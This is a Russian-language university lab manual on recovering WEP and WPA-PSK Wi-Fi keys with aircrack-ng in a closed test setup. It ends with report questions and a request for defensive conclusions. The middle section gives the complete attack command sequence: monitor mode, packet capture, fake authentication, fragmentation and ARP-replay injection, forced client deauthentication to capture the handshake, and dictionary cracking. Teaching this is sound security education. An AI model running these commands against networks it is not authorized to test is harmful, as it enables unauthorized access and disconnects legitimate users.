Метод определения ключа WPA-PSK

В настоящее время возможно обойти защиту протокола WPA только на основе общих ключей - WPA-PSK (Pre Shared Key). Атака происходит путем перебора паролей по словарю. Перед началом перебора необходимо получить пакет «рукопожатия» - так называемый handshake-пакет. Перехватить такой пакет можно в момент подключения клиентского устройства к точке доступа. Если к точке доступа уже подключены устройства, можно инициировать отключение отдельно взятого устройства (с помощью утилиты airplay), после чего оно будет вынуждено повторно подключиться к точке доступа. В этот момент можно захватить handshake-пакет.

После захвата handshake-пакета можно перейти к процессу перебора ключей в программе airckrack. Скорость перебора зависит от характеристик компьютера, на современных компьютерах в среднем равна 300-600 вариантам в секунду. Также есть специальные программы, позволяющие использовать для процесса подбора ресурсы мощных видеоадаптеров, что позволяет на порядок увеличить скорость подбора.

Подбор ключа WPA-PSK будет успешным только в том случае, если он будет присутствовать в словаре по которому ведется перебор. Как правило словари содержат слова, несущие некоторую смысловую нагрузку. Правильно подобранный достаточно длинный пароль, не несущий смысловой нагрузки, содержащий символы разного регистра, цифры и специальные символы с очень большой вероятность не будет содержаться в словарях, используемых при переборе. Прямой перебор всех возможных комбинаций в этом случае может занять десятки лет.

Описание лабораторной установки

Лабораторная установка состоит из беспроводной точки доступа, клиентского компьютера и атакующего компьютера (рис.1).

Рис.1. Схема лабораторной установки

 

Беспроводная точка доступа должна поддерживать шифрования WEP и WPA.

На атакующем компьютере должна стоять беспроводная сетевая карта, поддерживающая все функции пакета программ airckrack-ng (например TP-LINK TL-WN821N 802.11n Wireless USB Adapter), установлен дистрибутив Linux (Ubuntu, BackTrack 3, BackTrack 4) и непосредственно пакет программ airckrack-ng.

На клиентском компьютере должна стоять беспроводная сетевая карта.

Порядок выполнения работы

5.1. Установить на беспроводной точке доступа WEP шифрование с 64-битным ключом. Ключ должен состоять из цифр, больших и маленьких букв. Подключить клиентский компьютер к точке доступа.

5.2. Открыть программу Терминал

(Приложения/Стандартные/Терминал).

5.3. Ввести команду sudo -i (эта команда включает режим «суперпользователя», открывает полный доступ к системе). Введите пароль пользователя.

5.4. Ввести команду iwconfig, отображающую беспроводное оборудование.

5.5. Ввести команду airmon-ng start [device], которая запускает на данном устройстве интерфейс для мониторинга mon0.

5.6. Ввести команду airodump-ng [device], которая запускает мониторинг окружающих сетей. Благодаря этой команде можно выбрать сеть для атаки.

5.7. Выбрать сеть для атаки.

5.8. Ввести airodump-ng -c [channel] -w [файл вывода] --bssid [bssid] [device].

5.9. Запустить еще одно окно Терминала и войти в режим «Суперпользователя».

5.10. Ввести команду aireplay-ng -1 0 -a [BSSID] -h [mac-адрес атакующего устройства] [device]. Команда генерирует поддельные пакеты для ускорения сбора данных. При положительном результате выводится сообщение: Association successful :-) (AID: 1). Теперь можно генерировать большое количество необходимых пакетов.

5.11. Ввести команду aireplay-ng -5 -b [BSSID] -h [mac-адрес атакующего устройства] [device].

Эта команда выполняет фрагментированную атаку, в результате которой мы получаем файл fragment-*.xor, в котором содержится псевдослучайный алгоритм генерации, который используется для создания поддельного arp-запроса, который необходим для получения необходимого количества пакетов с данными.

5.12. Ввести команду packetforge-ng -0 -a [BSSID] -h [mac-адрес атакующего устройства] -k 255.255.255.255 -l 255.255.255.255 -y [файл *.xor] -w [имя файла для записи поддельного arp-запроса]

Данная команда создает файл с поддельным arp-запросом.

5.13. Ввести команду aireplay-ng -2 -r [файл с поддельным arp-запросом] [device].

Команда генерирует большое количество arp-запросов, благодаря которым происходит захват необходимых для определения ключа DATA-пакетов.

5.14. Открыть новое окно терминала и войти в режим «Суперпользователя».

5.15. Ввести команду ls. Данная команда отображает имеющиеся в текущей папке файлы, в том числе файл *.cap, в котором сохранены необходимые для взлома DATA-пакеты.

5.16. Ввести команду aircrack-ng [файл *.cap].

Данная команда выполнит взлом WEP-ключа, используя захваченные DATA-пакеты, и выведет результат. Перед запуском этой команды запустите секундомер и измерьте время, необходимое для нахождения ключа. Так же отметьте количество пакетов, необходимых для определения ключа. Результат занесите в табл. 1. Удалите из папки пользователя файлы *.cap.

5.17. Установить на беспроводной точке доступа WEP шифрование с 128-битным ключом. Ключ должен состоять из цифр, больших и маленьких букв. Подключить клиентский компьютер к точке доступа.

5.18. Повторите пункты 5.2.-5.15.

5.19. Установить на беспроводной точке доступа WPA-PSK. Установите ключ, взятый из словаря, находящийся в начале списка. Подключите клиентский компьютер к точке доступа.

5.20. Открыть программу Терминал (Приложения/Стандартные/ Терминал).

5.21. Ввести команду sudo -i (эта команда включает режим «суперпользователя», открывает полный доступ к системе). Введите пароль пользователя.

5.22. Ввести команду iwconfig, отображающую беспроводное оборудование.

5.23. Ввести команду airmon-ng start [device], которая запускает на данном устройстве интерфейс для мониторинга mon0.

5.24. Ввести команду airodump-ng [device], которая запускает мониторинг окружающих сетей. Благодаря этой команде можно выбрать сеть для атаки.

5.25. Программа отображает mac-адреса окружающих беспроводных устройств (BSSID), уровень сигнала (PWR), число пакетов объявлений (Beacons), число отловленных пакетов (#Data), Число пакетов данных за последние 10 секунд (#/s), номер канала (CH), используемый алгоритм шифрования (ENC), обнаруженный шифр (CIPHER), используемый протокол аутентификации (AUTH), идентификатор сети (ESSID).

5.26. Ввести airodump-ng -c [channel] -w [файл вывода] --bssid [bssid] [device].

5.27. Обязательным условием взлома WPA-TKIP является наличие у беспроводной точки хотя бы одного клиента. Это необходимо для получения пакета «handshake» - пакета рукопожатия. Именно этот пакет используется для взлома пароля. Есть 2 пути получения этого пакета:

а) если клиентов нет, ожидать пока клиент подключится;

б) если клиент к точке уже имеется, можно инициировать его отключение, затем захватить handshake-пакет при повторном подключении. Для этого необходимо открыть новое окно терминала и войти в режим «суперпользователя». Далее ввести команду:

5.28. aireplay-ng -0 1 -a [bssid] -c [mac-адрес клиента] [device].

В результате клиент вынужден переподключиться, в результате чего мы получаем необходимый handshake-пакет.

5.29. Теперь осталось по полученному handshake-пакету подобрать ключ. Для этого необходимо открыть новое окно терминала, и войти в режим суперпользователя. Далее необходимо ввести команду:

aircrack-ng -w [словарь для взлома] -b [bssid] [файл с захваченными пакетами].

Перед запуском этой команды запустите секундомер и измерьте время, необходимое для нахождения ключа. Результат занесите в табл. 1. Удалите из папки пользователя файлы *.cap.

5.30. Установить на беспроводной точке доступа WPA-PSK. Установите ключ, взятый из словаря, находящийся в конце списка. Подключите клиентский компьютер к точке доступа.

5.31. Повторите пункты 5.19.-5.28.

Оформление отчета

6.1. Напишите ответы на вопросы.

6.2. Заполните табл. 1.

 

 

Таблица 1

 

  WEP WPA-PSK
Пароль        
Время опре-деления па-роля, с        
Количество пакетов, необходимых для опре-деления па-роля     ------- --------

 

6.3. Напишите вывод по лабораторной работе. Сравните в выводе эффективность атак на протоколы WEP и WPA-PSK. Укажите, какие меры необходимо принять для обеспечения необходимого уровня защиты беспроводной сети от взлома.

 

Вопросы

1. Какой алгоритм лежит в основе шифрования WEP? Какой уровень защиты должно было обеспечить шифрование WEP? Обеспечивается ли этот уровень на данный момент?

2. Какого размера могут быть ключи при использовании шифрования WEP? Из каких частей они состоят?

3. Какие пакеты необходимо перехватывать, чтобы иметь возможность определить ключ WEP?

4. В чем заключается основная уязвимость шифрования WEP?

5. Какое главное отличие шифрования WPA от WEP?

6. Какой тип шифрования WPA в настоящее время уязвим для взлома?

7. Какое условие является обязательным при взломе WPA-PSK? Для чего оно необходимо?

8. По какому методу осуществляется подбор WPA-PSK ключа?

9. От чего самым непосредственным образом зависит успешность подбора ключа?

10. Может ли WPA-PSK обеспечить надежную защиту информации?

 

Литература

1. Гордейчик С.В., Дубровин В.В. Безопасность беспроводных сетей. – М.: Горячая линия-Телеком, 2008.

2. Владимиров А.А., Гавриленко К.В., Михайловский А.А. Wi-фу: «боевые»приемы взлома и защиты беспроводных сетей. – М.: NT Press, 2005.